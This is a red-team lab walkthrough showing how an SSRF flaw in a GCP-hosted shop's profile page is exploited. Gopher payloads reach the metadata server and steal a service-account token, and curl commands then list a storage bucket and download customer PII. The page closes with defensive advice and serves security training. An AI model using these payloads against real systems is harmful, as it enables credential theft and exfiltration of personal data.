Exploit SSRF with Gopher for GCP Initial Access
Exploit SSRF with Gopher for GCP Initial Access
Scenario
You have recently joined a red team and are on an engagement for the client Gigantic Retail. In scope is their on-premise and cloud environments. As the cloud specialist you are called upon to get initial access to their infrastructure, starting with an identified IP address.
Walkthrough
We are given IP address. The port scan shows port 80
1
2
3
4
5
6
7
8
└─$ nmap -Pn 35.226.245.121
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-06 22:13 +06
Nmap scan report for 121.245.226.35.bc.googleusercontent.com (35.226.245.121)
Host is up (0.21s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
If we open it in a browser, we see that it hosts website for Gigantic Retail.
Nothing interesting in the Home
page. There’s a shop
page
HTML source code reveals that the website is using Google Storage to host images - gigantic-retail
1
https://storage.googleapis.com/gigantic-retail/shop/image4.jpg
Let’s enumerate it, but first authenticate via Google Cloud CLI
1
2
gcloud auth revoke --all # remove existing authenticated sessions if you want
gcloud auth login
If we try listing the contents of the bucket using the Google Cloud CLI, it is not successful.
1
2
3
└─$ gcloud storage buckets list gs://gigantic-retail/
ERROR: (gcloud.storage.buckets.list) [hrafnulf1331@gmail.com] does not have permission to access b instance [gigantic-retail] (or it may not exist): hrafnulf1331@gmail.com does not have storage.buckets.get access to the Google Cloud Storage bucket. Permission 'storage.buckets.get' denied on resource (or it may not exist). This command is authenticated as hrafnulf1331@gmail.com which is the active account specified by the [core/account] property.
Let’s continue enumerating website. We find profile page in http://35.226.245.121/profile.php
We can update various details and set a profile picture. The most interesting part is that we have to provide a URL path to an image, which looks like a potential SSRF (Server-Side Request Forgery) if the backend PHP code does not validate the user-provided input.
We can test by setting url to one of the images on the site that’s hosted in the bucket. We can confirm that it works as intended
We see url
parameter in the address bar is set to the picture url we provided. If we try setting it to some existing url, we receive error and the content of the webpage
There can be many internal services that can be potentially accessed. We need to find more about the type of system we are engaging with. We see that the IP address is part of the Google Cloud address space.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
└─$ whois 35.226.245.121
#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/resources/registry/whois/tou/
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/
#
# Copyright 1997-2025, American Registry for Internet Numbers, Ltd.
#
NetRange: 35.208.0.0 - 35.247.255.255
CIDR: 35.208.0.0/12, 35.224.0.0/12, 35.240.0.0/13
NetName: GOOGLE-CLOUD
NetHandle: NET-35-208-0-0-1
Parent: NET35 (NET-35-0-0-0-0)
NetType: Direct Allocation
OriginAS:
Organization: Google LLC (GOOGL-2)
RegDate: 2017-09-29
Updated: 2018-01-24
Comment: *** The IP addresses under this Org-ID are in use by Google Cloud customers ***
Comment:
Comment: Direct all copyright and legal complaints to
Comment: https://support.google.com/legal/go/report
Comment:
Comment: Direct all spam and abuse complaints to
Comment: https://support.google.com/code/go/gce_abuse_report
Comment:
Comment: For fastest response, use the relevant forms above.
Comment:
Comment: Complaints can also be sent to the GC Abuse desk
Comment: (google-cloud-compliance@google.com)
Comment: but may have longer turnaround times.
Ref: https://rdap.arin.net/registry/ip/35.208.0.0
<SNIP>
Websites are usually hosted on Google Cloud is to use a VM instance. Every Google Cloud virtual machine (VM) has its metadata stored on a dedicated metadata server. The metadata can contain sensitive information such as credentials and this API is accessible to VMs without requiring authorization.
According to the documentation, this is a metadata endpoint that allows for retrieving the GCP project ID (the unit of separation in Google Cloud is a project):
1
http://metadata.google.internal/computeMetadata/v1/project/project-id
We can try fetching it, but we receive an error. According to the documentation, there’s a specific header Metadata-Flavor: Google
that must be sent to access this URL
We can can also try interacting with an API that doesn’t require the header
1
http://metadata.google.internal/computeMetadata/v1beta1/
But it also fails, since it’s deprecated
After some googling, there’s a blog, that contains the following SSRF payload that encapsulates an HTTP request within a Gopher URL.
1
gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/<snip>-compute@developer.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a
Breakdown:
- Gopher is a TCP/IP application layer protocol designed for distributing, searching, and retrieving documents over the Internet.
- Protocol and Target:
gopher://metadata.google.internal:80/
- Part of the payload specifies that the Gopher protocol is being used to make a request tometadata.google.internal
on port 80, a special domain used internally by Google Cloud services to provide metadata information to VM instances. - Crafted Request:
GET /computeMetadata/v1/instance/service-accounts/<service-account>/token
- GET request to the Google Cloud metadata service API, requesting an access token associated with a service account. Requires service account is associated with the VM.%2520HTTP%252f%2531%252e%2531
- Encoded form of “ HTTP/1.1”%250AHost:%2520metadata.google.internal
-Encoded header specifying the host.%250AAccept:%2520%252a%252f%252a
- Encoded header for theAccept
field, indicating that any media type is acceptable in response.%250aMetadata-Flavor:%2520Google
- Sets the header that is required to access the metadata service.
Let’s open Burp
. Intercept the request and modify the url
parameter to the payload below that requests the URL /computeMetadata/v1/instance/service-accounts/
to list the service accounts
1
gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a
After sending request, we receive response with the custom service account named bucketviewer@gr-proj-1.iam.gserviceaccount.com
Let’s modify the payload to get an access token for the service account
1
gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/bucketviewer@gr-proj-1.iam.gserviceaccount.com/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a
We receive the token
Copy the token
Set the GOOGLE_ACCESS_TOKEN
environment variable to make an authenticated requests to GCP API endpoints via curl
1
export GOOGLE_ACCESS_TOKEN=<token>
We can see that gigantic-retail
bucket stores interesting file named user_data.csv
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
└─$ curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/storage/v1/b/gigantic-retail/o"
{
"kind": "storage#objects",
"items": [
{
"kind": "storage#object",
"id": "gigantic-retail/images//1703694086172510",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2F",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2F?generation=1703694086172510&alt=media",
"name": "images/",
"bucket": "gigantic-retail",
"generation": "1703694086172510",
"metageneration": "1",
"contentType": "text/plain",
"storageClass": "STANDARD",
"size": "0",
"md5Hash": "1B2M2Y8AsgTpgAmY7PhCfg==",
"crc32c": "AAAAAA==",
"etag": "CN7ev4aDsIMDEAE=",
"temporaryHold": false,
"eventBasedHold": false,
"timeCreated": "2023-12-27T16:21:26.216Z",
"updated": "2023-12-27T16:21:26.216Z",
"timeStorageClassUpdated": "2023-12-27T16:21:26.216Z",
"timeFinalized": "2023-12-27T16:21:26.216Z"
},
<SNIP>
{
"kind": "storage#object",
"id": "gigantic-retail/userdata/user_data.csv/1703877006716190",
"selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv",
"mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media",
"name": "userdata/user_data.csv",
"bucket": "gigantic-retail",
"generation": "1703877006716190",
"metageneration": "1",
"contentType": "text/csv",
"storageClass": "STANDARD",
"size": "2388",
"md5Hash": "JMvLqhSoe2s9FX6JlXGmxw==",
"crc32c": "2XJ9cA==",
"etag": "CJ7a572stYMDEAE=",
"timeCreated": "2023-12-29T19:10:06.754Z",
"updated": "2023-12-29T19:10:06.754Z",
"timeStorageClassUpdated": "2023-12-29T19:10:06.754Z",
"timeFinalized": "2023-12-29T19:10:06.754Z"
}
]
}
The mediaLink
provides a direct link to download the object. After curling it we find PII data
1
2
3
4
5
6
7
8
9
10
11
12
└─$ curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media"
Name,Address,PhoneNumber,Email,Job Title,Company
John Doe,123 Main St, Seattle, WA 98101,555-1234,john.doe@novasoft.com,Software Engineer,Nova Software Solutions
Jane Smith,456 Oak Ave, Boston, MA 02110,555-5678,jane.smith@bluebaytech.com,Project Manager,Blue Bay Technologies
Bob Johnson,789 Pine Rd, Austin, TX 78701,555-9012,bob.johnson@creativedge.com,Graphic Designer,Creative Edge Design
Alice Williams,101 Cedar Lane, Denver, CO 80202,555-3456,alice.williams@peakhr.com,HR Specialist,Peak Human Resources
Charlie Brown,202 Maple Blvd, Chicago, IL 60601,555-7890,charlie.brown@marketgenius.com,Marketing Director,Market Genius Inc.
Emily Davis,303 Elm Street, San Francisco, CA 94102,555-2345,emily.davis@zenithfinance.com,Financial Analyst,Zenith Finance
Michael Miller,404 Birch Lane, New York, NY 10001,555-6789,michael.miller@techfrontier.com,IT Consultant,Tech Frontier
Olivia Wilson,505 Pinecrest Rd, Miami, FL 33101,555-0123,olivia.wilson@sunrealty.com,Real Estate Agent,Sunshine Realty
David Taylor,606 Oakwood Ave, Philadelphia, PA 19106,555-4567,david.taylor@arcopartners.com,Architect,Arco Partners
<SNIP>
Defense
Based on lab’s Defense section.
- It is important to perform an audit of the protocols that are enabled by default in the libraries that are used:
- In this case, we had
SSRF
vulnerability in theprofile.php
that enabled us to coerce the web server into making a GET request to any web resource - There was also support for
gopher
allowed to bypass the protective measure and provide the header in the embeddedGET
request that is necessary to access the internal metadata service
- In this case, we had
- Don’t store PII on the bucket that was used for hosting the web files.
- The data was also unencrypted
- Do not mix the data that is used for different purposes and that has different classifications and sensitivity to be on the same bucket.
- We can also restrict access to the Metadata server by revoking the access scopes from the VM instance by selecting No service account.
- Acceptable for applications that do not require interaction with other Google Cloud services, and could significantly reduce the attack surface and blast radius of a compromised VM.